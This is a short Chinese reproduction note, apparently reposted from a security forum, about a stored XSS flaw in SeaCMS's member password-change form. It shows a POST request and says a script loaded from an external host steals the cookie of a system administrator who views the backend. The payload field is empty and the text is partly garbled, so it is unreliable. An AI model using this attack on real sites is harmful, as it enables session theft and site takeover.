Seacms储存型xss

# Seacms储存型xss

> 原文：[https://www.zhihuifly.com/t/topic/3111](https://www.zhihuifly.com/t/topic/3111)

# Seacms 储存型xss

## 一、漏洞简介

## 二、漏洞影响

## 三、复现过程

“`
POST /member.php?action=chgpwdsubmit `oldpwd=test&newpwd=test&newpwd2=test&email=test%[40test.com](http://40test.com)&nickname=&gaimi=%E7%A1%AE%E8%AE%A4%E4%BF%AE%E6%94%B9`
“`

> src的值为`http://target.0-sec.org/test.js`的短链接

当后台浏览到后台界面时，会触发漏洞，反弹回来Cookie，但需要注意两点，第一，只有系统管理员才能看到用户界面，普通管理员是没有这个权限的。